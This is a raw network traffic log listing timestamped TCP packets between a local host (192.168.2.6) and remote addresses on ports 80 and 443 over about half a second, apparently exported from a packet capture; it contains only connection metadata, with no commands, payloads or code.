Nov 17, 2024 01:38:48.072802067 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072809935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.072819948 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072851896 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.072851896 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.085752964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.085791111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.085800886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.085827112 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.085885048 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.096308947 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.096343040 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.096434116 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.096467018 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.096497059 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.096519947 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.113696098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113718033 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113735914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113746881 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113756895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.113759041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113765001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113779068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113780975 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.113790035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.113815069 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.113837004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114129066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114140987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114151955 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114176989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114198923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114393950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114406109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114423990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114434004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114448071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114464998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114464998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114495993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114876032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114887953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114898920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.114929914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.114968061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.155541897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.155560017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.155572891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.155751944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.155751944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.187807083 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187865973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187876940 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187875986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.187895060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187906027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187963009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.187963009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.187971115 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187983036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.187994957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188014984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.188051939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.188494921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188510895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188520908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188548088 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.188574076 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.188731909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188743114 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188754082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.188786983 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.201179028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.201190948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.201200962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.201234102 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.201266050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.214236975 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.214299917 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.214329958 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.214375019 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.214409113 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.214430094 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.228794098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.228805065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.228862047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.228884935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.228940010 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.228976965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.228988886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229010105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229022026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229043007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229043961 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229074955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229231119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229243040 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229254007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229265928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229279995 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229310989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229623079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229692936 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229727983 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229738951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229748964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229758978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229769945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229779959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229789972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.229794979 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229815006 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.229840040 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.230289936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.230309963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.230319977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.230357885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.230387926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.270764112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.270831108 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.270840883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.270900011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.270932913 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.303365946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303388119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303400993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303419113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303430080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303452015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.303487062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.303488016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303527117 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.303550959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303561926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303574085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303584099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.303602934 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.303632021 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.304013014 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.304023981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.304033995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.304069042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.304099083 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.316641092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.316652060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.316660881 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.316708088 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.316739082 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.331134081 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.331173897 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.331224918 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.331243992 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.331288099 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.331307888 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.344274044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344286919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344297886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344362974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344373941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344405890 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344408989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344418049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344439030 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344468117 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344629049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344643116 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344660044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344675064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344680071 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344686985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.344702005 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.344738007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345103979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345117092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345134974 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345146894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345148087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345161915 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345174074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345175028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345201969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345231056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345685959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345695972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345745087 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345777988 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345798016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345809937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.345824957 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345850945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.345850945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.386092901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.386102915 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.386272907 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.418760061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418771029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418802977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418812990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418823004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418845892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.418845892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.418926001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418929100 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.418942928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418953896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418972969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.418977022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418989897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.418994904 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419003010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419013023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419023991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419049025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419075012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419079065 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419171095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419636011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419672966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419684887 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419704914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.419725895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.419759989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.431770086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.431782007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.431792021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.431843042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.431873083 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.448323965 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.448357105 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.448410988 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.448450089 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.448489904 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.448757887 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.458822966 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.459865093 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.459865093 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.459884882 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.459901094 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.460329056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460346937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460357904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460366964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460377932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460386992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460398912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460408926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460421085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460472107 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.460490942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460490942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460491896 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460690975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460771084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460773945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460782051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460797071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460804939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460808039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460819960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460829973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460840940 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460843086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460851908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.460861921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.460947037 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.461462021 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.461510897 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.461582899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.461673021 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.461850882 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.461863041 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.482182980 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.482639074 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.482661963 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.483040094 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.483051062 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.484322071 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.484633923 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.484647036 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.485058069 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.485074043 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.533766031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.533785105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.533824921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.533849001 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.533849001 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.533926964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.588073015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:48.592859030 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.592896938 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.592953920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:48.592953920 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.592983961 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.593029976 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.593792915 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.593823910 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.593882084 CET	56752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.593898058 CET	443	56752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.600864887 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.600934029 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.601418018 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.605597019 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.605623960 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.605971098 CET	56753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.605978966 CET	443	56753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.606374025 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.608434916 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.608472109 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.608760118 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.610363960 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.610393047 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.610496044 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.610615969 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.610867023 CET	56756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.610872030 CET	443	56756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.610907078 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.611850023 CET	56759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.611862898 CET	443	56759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.612471104 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.612534046 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.613688946 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.614598989 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.614614964 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.614718914 CET	56755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.614727020 CET	443	56755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.617300034 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.617327929 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.617475033 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.617677927 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.617685080 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.618347883 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.618361950 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.618375063 CET	56754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:48.618381023 CET	443	56754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:48.638657093 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.638672113 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.638756990 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:48.638772964 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:48.638818979 CET	56738	443	192.168.2.6	13.107.246.57
